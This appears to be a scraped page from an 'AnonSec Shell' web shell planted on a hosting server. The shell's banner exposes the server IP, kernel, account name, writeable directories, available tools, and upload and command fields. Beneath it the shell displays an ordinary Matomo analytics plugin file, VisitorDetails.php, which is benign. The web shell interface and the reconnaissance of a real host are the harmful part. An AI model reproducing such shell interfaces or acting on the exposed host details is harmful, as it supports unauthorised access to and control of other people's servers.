AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/piwik/plugins/Provider/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/piwik/plugins/Provider/VisitorDetails.php
<?php
/**
 * Matomo - free/libre analytics platform
 *
 * @link    https://matomo.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 *
 */

namespace Piwik\Plugins\Provider;

use Piwik\Piwik;
use Piwik\Plugins\Live\VisitorDetailsAbstract;
use Piwik\View;
use Piwik\Plugin;

/**
 * @see plugins/Provider/functions.php
 */

class VisitorDetails extends VisitorDetailsAbstract
{
    public function __construct()
    {
        $dir = Plugin\Manager::getPluginDirectory('Provider');
        require_once $dir . '/functions.php';
    }

    public function extendVisitorDetails(&$visitor)
    {
        $visitor['provider']     = $this->details['location_provider'];
        $visitor['providerName'] = $this->getProviderName();
        $visitor['providerUrl']  = $this->getProviderUrl();
    }

    public function renderVisitorDetails($visitorDetails)
    {
        if (empty($visitorDetails['provider'])) {
            return [];
        }

        $view            = new View('@Provider/_visitorDetails.twig');
        $view->visitInfo = $visitorDetails;
        return [[20, $view->render()]];
    }

    protected function getProvider()
    {
        if (isset($this->details['location_provider'])) {
            return $this->details['location_provider'];
        }
        return Piwik::translate('General_Unknown');
    }

    protected function getProviderName()
    {
        return getPrettyProviderName($this->getProvider());
    }

    protected function getProviderUrl()
    {
        return getHostnameUrl(@$this->details['location_provider']);
    }
}

Anon7 - 2022
AnonSec Team